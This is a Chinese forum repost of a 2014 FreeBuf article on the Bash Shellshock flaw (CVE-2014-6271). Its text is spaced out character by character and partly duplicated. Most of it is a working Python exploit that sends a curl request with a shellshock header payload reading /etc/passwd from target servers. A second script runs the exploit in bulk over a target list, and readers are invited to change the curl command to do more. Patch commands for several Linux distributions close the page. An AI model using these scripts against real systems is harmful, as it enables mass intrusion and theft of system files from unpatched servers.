搜索

[8308] 2014-09-28_Bash漏洞批量检测工具与修复方案

文档创建者：s7ckTeam
浏览次数：39
最后更新：2025-01-17
2014-09-28_Bash漏洞批量检测工具与修复方案 B a s h 漏 洞 批 量 检 测 工 具 与 修 复 方 案 F r e e B u f   2 0 1 4 - 0 9 - 2 8 L i n u x 官 方 内 置 官 方 内 置 B a s h 中 新 发 现 一 个 非 常 严 重 中 新 发 现 一 个 非 常 严 重 安 全 漏 洞 安 全 漏 洞 ， 黑 客 可 以 利 用 该 ， 黑 客 可 以 利 用 该 B a s h 漏 洞 完 全 控 制 目 标 系 统 并 发 起 攻 击 。 漏 洞 完 全 控 制 目 标 系 统 并 发 起 攻 击 。 B a s h 远 程 命 令 执 行 漏 洞 （ 远 程 命 令 执 行 漏 洞 （ C V E 2 0 1 4 - 6 2 7 1 ） 检 测 脚 本 ） 检 测 脚 本 作 者 : z i w e n （ d n 8 . n e t 团 队 ） 运 行 环 境 ： p y t h o n   2 . 7 # ! / u s r / b i n / e n v   p y t h o n # c o d i n g : u t f - 8 i m p o r t   o s i m p o r t   s y s i m p o r t   r e p r i n t   " f 4 c k   z i w e n   c v e   2 0 1 4   6 2 7 1   e x p   a t t a c k i n g ! " i f   s y s . a r g v [ 1 ] . s t a r t s w i t h ( ' - ' ) :         o p t i o n   =   s y s . a r g v [ 1 ] [ 1 : ]         i f   o p t i o n   = =   ' u r l ' :                 b = s y s . a r g v [ 2 ]                 i f   n o t   r e . m a t c h ( " h t t p " , s y s . a r g v [ 2 ] ) :                         p r i n t   " U R L 格 式 错 误   正 确 格 式 例 如 h t t p : / / w w w . b a i d u . c o m / 1 . c g i "                                 e l s e :                         o u t = r e . s u b ( " . | / " , " " , b )                         o u t = o u t [ 7 : ]                         p r i n t   " s h a h d a s h h d d " , o u t , b                         a = " c u r l   - H   ' x :   ( )   {   : ; } ; a = ` / b i n / c a t   / e t c / p a s s w d ` ; e c h o   " a :   $ a " '   ' " + b + " '   - I   - o   " + o u t + " " o u t p u t " . t x t "                         o s . s y s t e m ( a )                         f   =   o p e n ( o u t + " o u t p u t . t x t " ,   ' r ' )                         a = f . r e a d ( )
                        i f   r e . s e a r c h ( " r o o t | b i n / b a s h " , a ) :                                 p r i n t   " t a r g e t   p o s s i b l e   h a v e   b u g   u n d e r   i s   * n i x   p a s s w d   f i l e "                                 p r i n t   a                         e l s e :                                 f . c l o s e ( )                                 o s . r e m o v e ( o u t + " o u t p u t . t x t " )                                 p r i n t   " p o s s i b l e   d o n t   h a v e   b u g !   o r   h a v e   a   w a f ! "         e l s e :                 p r i n t   " e r r o r !   U   c a n   e m a i l   t o   m e   U   q u e s t i o n   ( z i w e n @ 2 1 . w f ) "                 p r i n t   o p t i o n 下 载 地 址 h t t p : / / p a n . b a i d u . c o m / s / 1 i 3 o V F V 3 脚 本 会 将 结 果 回 显 出 来   如 果 存 在 漏 洞 的 话 还 会 把 p a s s w d 文 件 保 存 在 以 目 标 域 名 + o u t p u t 命 名 的 t x t 文 档 里 ， 不 成 功 不 保 存 执 行 方 法 执 行 方 法 p y t h o n   c : e x p . p y   - u r l   h t t p : / / 2 3 . 2 3 9 . 2 0 8 . 1 0 5 / c g i - b i n / p o c . c g i 批 量 检 测 是 否 存 在 批 量 检 测 是 否 存 在 B a s h 远 程 命 令 执 行 漏 洞 远 程 命 令 执 行 漏 洞 # ! / u s r / b i n / e n v   p y t h o n # c o d i n g : u t f - 8 i m p o r t   o s i m p o r t   s y s P A T H = s y s . p a t h [ 0 ] + " / " t e x t = o p e n ( P A T H + " t a r g e t . t x t " , ' r ' ) f o r   l i n e   i n   t e x t :         p r i n t   l i n e         o s . s y s t e m ( " p y t h o n   " + P A T H + " e x p . p y   - u r l   " + l i n e ) 下 载 地 址 h t t p : / / p a n . b a i d u . c o m / s / 1 s j B F W h n 该 脚 本 调 用 了 上 面 那 个 E X P   所 以 请 运 行 该 脚 本 时 请 将 两 个 脚 本 放 同 一 目 录   并 在 该 目 录 下 新 建 t a r g e t . t x t 文 件 将 您 的 目 标 列 表 放 进 文 件 里 如 ： h t t p : / / w w w . b a i d u . c o m h t t p : / / 2 3 . 2 3 9 . 2 0 8 . 1 0 5 / c g i - b i n / p o c . c g i 然 后 运 行 该 脚 本 即 可   该 脚 本 便 会 自 动 按 顺 序 检 测   会 把 结 果 回 显 出 来   并 会 把 成 功 的 目 标 的 p a s s w d 文 件 保 存 在   以 目 标 域 名 + o u t p u t 命 名 的 t x t 文 档 里 ， 不 成 功 不 保 存 请 不 要 随 意 改 变 e x p . p y 的 文 件 名   如 果 改 变 了 E X P . P Y 的 文 件 名 请 将 b a t c h . p y 里 面 的 e x p . p y 改 为 您 修 改 的 文 件 名   否 则 b a t c h . p y 会 运 行 失 败 其 他 其 他
l i n u x 如 果 用 不 了 上 面 那 个 版 本 请 试 下 这 个 L i n u x 专 版 h t t p : / / p a n . b a i d u . c o m / s / 1 h q 7 o C Y w w i n d o w s 用 不 了 请 试 试 下 面 这 个 w i n d o w s 专 版 h t t p : / / p a n . b a i d u . c o m / s / 1 k T m j N K V 如 果 需 要 生 成 其 他 文 件 或 者 利 用 漏 洞 做 其 他 事 请 自 行 修 改 脚 本 中 的 c u r l 命 令 个 别 报 错 报 C U R L 命 令 错 误 的 是 C U R L 版 本 问 题 ， 不 是 我 脚 本 问 题 ， 我 这 边 多 个 基 友 都 测 试 了 无 误 漏 洞 修 复 方 案 漏 洞 修 复 方 案 请 您 根 据 L i n u x 版 本 选 择 您 需 要 修 复 的 命 令 ，   为 了 防 止 意 外 情 况 发 生 ， 建 议 您 执 行 命 令 前 先 对 L i n u x 服 务 器 系 统 盘 打 个 快 照 ， 如 果 万 一 出 现 升 级 影 响 您 服 务 器 使 用 情 况 ， 可 以 通 过 回 滚 系 统 盘 快 照 解 决 。   c e n t o s : ( 最 终 解 决 方 案 最 终 解 决 方 案 ) y u m   c l e a n   a l l   y u m   m a k e c a c h e   y u m   - y   u p d a t e   b a s h u b u n t u : ( 最 终 解 决 方 案 最 终 解 决 方 案 )   a p t - g e t   u p d a t e   a p t - g e t   - y   i n s t a l l   - - o n l y - u p g r a d e   b a s h d e b i a n : ( 最 终 解 决 方 案 最 终 解 决 方 案 )   7 . 5   6 4 b i t   & &   3 2 b i t   a p t - g e t   u p d a t e   a p t - g e t   - y   i n s t a l l   - - o n l y - u p g r a d e   b a s h 6 . 0 . x   6 4 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / d e b i a n / p o o l / m a i n / b / b a s h / b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ a m d 6 4 . d e b   & &     d p k g   - i   b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ a m d 6 4 . d e b 6 . 0 . x   3 2 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / d e b i a n / p o o l / m a i n / b / b a s h / b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ i 3 8 6 . d e b   & &     d p k g   - i   b a s h _ 4 . 1 - 3 + d e b 6 u 2 _ i 3 8 6 . d e b a l i y u n   l i n u x : ( 最 终 解 决 方 案 最 终 解 决 方 案 )   5 . x   6 4 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / c e n t o s / 5 / u p d a t e s / x 8 6 _ 6 4 / R P M S / b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . x 8 6 _ 6 4 . r p m   & &   r p m   - U v h   b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . x 8 6 _ 6 4 . r p m 5 . x   3 2 b i t   w g e t   h t t p : / / m i r r o r s . a l i y u n . c o m / c e n t o s / 5 / u p d a t e s / i 3 8 6 / R P M S / b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . i 3 8 6 . r p m     & &   r p m   - U v h   b a s h - 3 . 2 - 3 3 . e l 5 _ 1 0 . 4 . i 3 8 6 . r p m
o p e n s u s e : ( 最 终 解 决 方 案 最 终 解 决 方 案 )   z y p p e r   c l e a n   z y p p e r   r e f r e s h   z y p p e r   u p d a t e   - y   b a s h [ 参 考 信 息 来 源 ： 参 考 信 息 来 源 ： h t t p : / / b b s . a l i y u n . c o m / r e a d / 1 7 6 9 7 7 . h t m l ? s p m = 5 1 7 6 . 7 1 8 9 9 0 9 . 3 . 1 5 . s Z T g s t , 转 载 请 注 明 来 自 转 载 请 注 明 来 自 F r e e B u f . C O M ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理